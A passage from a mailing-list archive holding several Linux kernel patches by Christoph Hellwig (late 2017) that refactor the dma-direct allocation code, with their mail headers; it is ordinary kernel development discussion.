        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:19:52 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUptL-000210-Sw
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:19:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932580AbdL2IVt (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:21:49 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:40628 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932547AbdL2IVp (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:21:45 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=djhv6KYp/Unqg6wSNceOXXQHdgLyp14SBGLrM/1hUTE=; b=CSqQe7t2Nmei+/5TZmSmIJvx7
        w9EL3RqkKBPGoqNVHVFwjGNCgbrVL87VuNg89dvy8tbkXrudpk1kSnRXaJ8zQ3LC4K2ycRJJsQuzN
        Nb778/i7pEZbALh0HcGD8u2mEQ/czhhZcnFpwerBxNrmdoG7yXMgKrdkzKd+mcFipLzM2ATTkHOBd
        hO1HJRwgQ37cRuTqkN9Gw3JYxLnHMsACazJlGkNJrjB8OaQ5A8Cy94TLUjc8Dy24sTTgdM8r4Cof5
        wvY3jq4Kq/lWdcyHBycyQv0po1vj3OLALewDIUgVd0J115M46HPUGhEe0OA4RLM+8m+0pIJIz/0EE
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpv3-0002Ke-Po; Fri, 29 Dec 2017 08:21:34 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56063 gmane.linux.kernel.iommu:21907 gmane.linux.ports.alpha:4574 gmane.linux.kernel.arc:3195 gmane.linux.ports.arm.kernel:622920 gmane.linux.ports.hexagon:1427 gmane.linux.ports.ia64:28417 gmane.linux.kernel.metag:1501 gmane.linux.ports.mips.general:62950 gmane.linux.ports.parisc:28092 gmane.linux.ports.ppc64.devel:151524 gmane.linux.ports.sparc:27070 gmane.linux.kernel.cross-arch:40810 gmane.linux.kernel:2654237
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56063>

So that they don't need to indirect through the operation vector.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arm/mm/dma-mapping-nommu.c | 9 +++------
 include/linux/dma-direct.h      | 5 +++++
 lib/dma-direct.c                | 6 +++---
 3 files changed, 11 insertions(+), 9 deletions(-)

diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index 49e9831dc0f1..b4cf3e4e9d4a 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -11,7 +11,7 @@
 
 #include <linux/export.h>
 #include <linux/mm.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 
 #include <asm/cachetype.h>
@@ -39,7 +39,6 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 				 unsigned long attrs)
 
 {
-	const struct dma_map_ops *ops = &dma_direct_ops;
 	void *ret;
 
 	/*
@@ -48,7 +47,7 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 	 */
 
 	if (attrs & DMA_ATTR_NON_CONSISTENT)
-		return ops->alloc(dev, size, dma_handle, gfp, attrs);
+		return dma_direct_alloc(dev, size, dma_handle, gfp, attrs);
 
 	ret = dma_alloc_from_global_coherent(size, dma_handle);
 
@@ -70,10 +69,8 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
 			       void *cpu_addr, dma_addr_t dma_addr,
 			       unsigned long attrs)
 {
-	const struct dma_map_ops *ops = &dma_direct_ops;
-
 	if (attrs & DMA_ATTR_NON_CONSISTENT) {
-		ops->free(dev, size, cpu_addr, dma_addr, attrs);
+		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
 	} else {
 		int ret = dma_release_from_global_coherent(get_order(size),
 							   cpu_addr);
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 10e924b7cba7..4788bf0bf683 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -38,4 +38,9 @@ static inline void dma_mark_clean(void *addr, size_t size)
 }
 #endif /* CONFIG_ARCH_HAS_DMA_MARK_CLEAN */
 
+void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs);
+void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs);
+
 #endif /* _LINUX_DMA_DIRECT_H */
diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index f8467cb3d89a..7e913728e099 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -33,8 +33,8 @@ static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
 	return phys_to_dma(dev, phys) + size <= dev->coherent_dma_mask;
 }
 
-static void *dma_direct_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	int page_order = get_order(size);
@@ -71,7 +71,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	return page_address(page);
 }
 
-static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
+void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs)
 {
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 30/67] dma-direct: retry allocations using GFP_DMA for small masks
Date: Fri, 29 Dec 2017 09:18:34 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20171229081911.2802-31-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535599 10210 195.159.176.226 (29 Dec 2017 08:19:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:19:59 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Dec 29 09:19:53 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eUptE-0001D4-Gl
	for glpi-linux-ia64-2@m.gmane.org; Fri, 29 Dec 2017 09:19:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755366AbdL2IVm (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 29 Dec 2017 03:21:42 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:45374 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756078AbdL2IVk (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 29 Dec 2017 03:21:40 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=ZYQ0pTm9tl6ZI9zEM+q8Be7x6zZ6YPq+/uJWAGk+tFA=; b=U+NGxmGeY0p+dW5yc7FHHLtDL
        VAdqe6Vg1izSM5enhQMX025eSwG3mvtaYDI9ZpqSCP9yHWtUNc+8SvmHV9xnX+WLI4hF4cJT/ENzR
        gWaEp/hv/bjGl1dylrI6vlYnvkSHjqVNR7ybfgMn9GUIyzCjmQjqDvtCuhVT2lLTXoy75Q3TvIZ65
        cDiWKKYm/0r22wHCcMfNjOn6uUNHJTX9vikMCsCfejz0pPQdJziDZBApXUQAseNy+QQO9HBpI9xQL
        2/t7DJUjBKbUdVUWM0pYKwWKyrY0EOvJINnUnWP3rn+Cb+a51+MoxXQa2Z2aUPjp8LtSpRN+FvONW
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpuz-0002I0-Mw; Fri, 29 Dec 2017 08:21:30 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28418 gmane.linux.kernel.iommu:21908 gmane.linux.ports.alpha:4575 gmane.linux.kernel.arc:3196 gmane.linux.ports.arm.kernel:622921 gmane.linux.ports.hexagon:1428 gmane.linux.kernel.metag:1502 gmane.linux.ports.mips.general:62951 gmane.linux.ports.parisc:28093 gmane.linux.ports.ppc64.devel:151525 gmane.linux.ports.sh.devel:56064 gmane.linux.ports.sparc:27071 gmane.linux.kernel.cross-arch:40811 gmane.linux.kernel:2654238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28418>

If we got back an allocation that wasn't inside the support coherent mask,
retry the allocation using GFP_DMA.

Based on the x86 code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index ab81de3ac1d3..f8467cb3d89a 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -28,6 +28,11 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 	return true;
 }
 
+static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
+{
+	return phys_to_dma(dev, phys) + size <= dev->coherent_dma_mask;
+}
+
 static void *dma_direct_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
@@ -35,11 +40,29 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	int page_order = get_order(size);
 	struct page *page = NULL;
 
+again:
 	/* CMA can be used only in the context which permits sleeping */
-	if (gfpflags_allow_blocking(gfp))
+	if (gfpflags_allow_blocking(gfp)) {
 		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
+		if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
+			dma_release_from_contiguous(dev, page, count);
+			page = NULL;
+		}
+	}
 	if (!page)
 		page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
+
+	if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
+		__free_pages(page, page_order);
+		page = NULL;
+
+		if (dev->coherent_dma_mask < DMA_BIT_MASK(32) &&
+		    !(gfp & GFP_DMA)) {
+			gfp = (gfp & ~GFP_DMA32) | GFP_DMA;
+			goto again;
+		}
+	}
+
 	if (!page)
 		return NULL;
 
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 33/67] dma-direct: reject too small dma masks
Date: Fri, 29 Dec 2017 09:18:37 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20171229081911.2802-34-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535604 11315 195.159.176.226 (29 Dec 2017 08:20:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:20:04 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:19:58 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUptW-0002Mg-9q
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:19:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932628AbdL2IWA (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:22:00 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:46421 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932612AbdL2IVz (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:21:55 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=IYQl3xRo4uwfa9pXddWi0GVjN+Lzs3lc5tiHNMKL/K8=; b=g9GstYBTJUiy9VNohzY6B3tL7
        hWg9n/gdASRZQIK6LxNBFV7Ev4Ew3/y9MrlAAdNWUKl043OREzpJF13cMO7YYrxFDGziTdCjvZITx
        iscQINE4r87USqAGqnlvHYyelzGBpS1Hl+OUDKhDhh581y97/WUfUaEHRRTfmCOqnPlKRJlTkJHiJ
        CjptK2NcMOoJRNZRui5DJUmft2W8eKVhcl9fVlA+6Xo/C12EZAduIjcEw9wHvdA/x6JT1YWP3tuzu
        BvaYYoelgvJFgeRIxrMc4CytPcQ9rbapyiy/ZGEVi8eMkTulPV6VxUMkk2deprLPex95tU7z9R1H3
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpvC-0002UP-A1; Fri, 29 Dec 2017 08:21:42 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56065 gmane.linux.kernel.iommu:21909 gmane.linux.ports.alpha:4576 gmane.linux.kernel.arc:3197 gmane.linux.ports.arm.kernel:622922 gmane.linux.ports.hexagon:1429 gmane.linux.ports.ia64:28419 gmane.linux.kernel.metag:1503 gmane.linux.ports.mips.general:62952 gmane.linux.ports.parisc:28094 gmane.linux.ports.ppc64.devel:151526 gmane.linux.ports.sparc:27072 gmane.linux.kernel.cross-arch:40812 gmane.linux.kernel:2654239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56065>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 include/linux/dma-direct.h |  1 +
 lib/dma-direct.c           | 19 +++++++++++++++++++
 2 files changed, 20 insertions(+)

diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 4788bf0bf683..bcdb1a3e4b1f 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -42,5 +42,6 @@ void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 		gfp_t gfp, unsigned long attrs);
 void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs);
+int dma_direct_supported(struct device *dev, u64 mask);
 
 #endif /* _LINUX_DMA_DIRECT_H */
diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 2e9b9494610c..5bb289483efc 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -123,6 +123,24 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
+int dma_direct_supported(struct device *dev, u64 mask)
+{
+#ifdef CONFIG_ZONE_DMA
+	if (mask < DMA_BIT_MASK(ARCH_ZONE_DMA_BITS))
+		return 0;
+#else
+	/*
+	 * Because 32-bit DMA masks are so common we expect every architecture
+	 * to be able to satisfy them - either by not supporting more physical
+	 * memory, or by providing a ZONE_DMA32.  If neither is the case, the
+	 * architecture needs to use an IOMMU instead of the direct mapping.
+	 */
+	if (mask < DMA_BIT_MASK(32))
+		return 0;
+#endif
+	return 1;
+}
+
 static int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
 {
 	return dma_addr == DIRECT_MAPPING_ERROR;
@@ -133,6 +151,7 @@ const struct dma_map_ops dma_direct_ops = {
 	.free			= dma_direct_free,
 	.map_page		= dma_direct_map_page,
 	.map_sg			= dma_direct_map_sg,
+	.dma_supported		= dma_direct_supported,
 	.mapping_error		= dma_direct_mapping_error,
 	.is_phys		= true,
 };
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 32/67] dma-direct: add support for allocation from ZONE_DMA and ZONE_DMA32
Date: Fri, 29 Dec 2017 09:18:36 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20171229081911.2802-33-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535606 11676 195.159.176.226 (29 Dec 2017 08:20:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:20:06 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:20:00 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUptS-0002Mg-Hn
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:19:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932618AbdL2IV4 (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:21:56 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:55506 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932547AbdL2IVv (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:21:51 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=PueC7iQeB2bQtfDtw8oTIUmzv3wZ1dKWeI2kB84Y3Y0=; b=rSZN0AyCANhkknmx/Lxzky47O
        CULA8Z8ug64ZSEJnJ0n+Ge/zpYBZHGm8ydNTuzbxcDKkOaM/q1tIXNGiavrduBimi1It34c7tLlhg
        wpGjNOoHd0hnLeTgzxMzRgTUjMJi7R+p2QHVq4elrm7NUR8a2S7gT1SehHWf3Ra3sHCTQz/CAQUmx
        nMzTCMwPt0RS2IWGPjRmgmQu89KvgRihBRUIOyVwkbJWgZmUmRPrrSFSrJ0vN/H9GbqHx1Gi7/AHY
        y3Nlk4sTt4h/snqOj4eWet73uP3Sjle5tL8ezzKBh4fl24GbRhBqTY8T9cEjXdfY8i1X3ux2iClCt
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpv7-0002NF-S0; Fri, 29 Dec 2017 08:21:38 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56066 gmane.linux.kernel.iommu:21910 gmane.linux.ports.alpha:4577 gmane.linux.kernel.arc:3198 gmane.linux.ports.arm.kernel:622923 gmane.linux.ports.hexagon:1430 gmane.linux.ports.ia64:28420 gmane.linux.kernel.metag:1504 gmane.linux.ports.mips.general:62953 gmane.linux.ports.parisc:28095 gmane.linux.ports.ppc64.devel:151527 gmane.linux.ports.sparc:27073 gmane.linux.kernel.cross-arch:40813 gmane.linux.kernel:2654240
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56066>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 7e913728e099..2e9b9494610c 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -12,6 +12,14 @@
 
 #define DIRECT_MAPPING_ERROR		0
 
+/*
+ * Most architectures use ZONE_DMA for the first 16 Megabytes, but
+ * some use it for entirely different regions:
+ */
+#ifndef ARCH_ZONE_DMA_BITS
+#define ARCH_ZONE_DMA_BITS 24
+#endif
+
 static bool
 check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 		const char *caller)
@@ -40,6 +48,12 @@ void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 	int page_order = get_order(size);
 	struct page *page = NULL;
 
+	/* GFP_DMA32 and GFP_DMA are no ops without the corresponding zones: */
+	if (dev->coherent_dma_mask < DMA_BIT_MASK(32))
+		gfp |= GFP_DMA32;
+	else if (dev->coherent_dma_mask < DMA_BIT_MASK(ARCH_ZONE_DMA_BITS))
+		gfp |= GFP_DMA;
+
 again:
 	/* CMA can be used only in the context which permits sleeping */
 	if (gfpflags_allow_blocking(gfp)) {
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
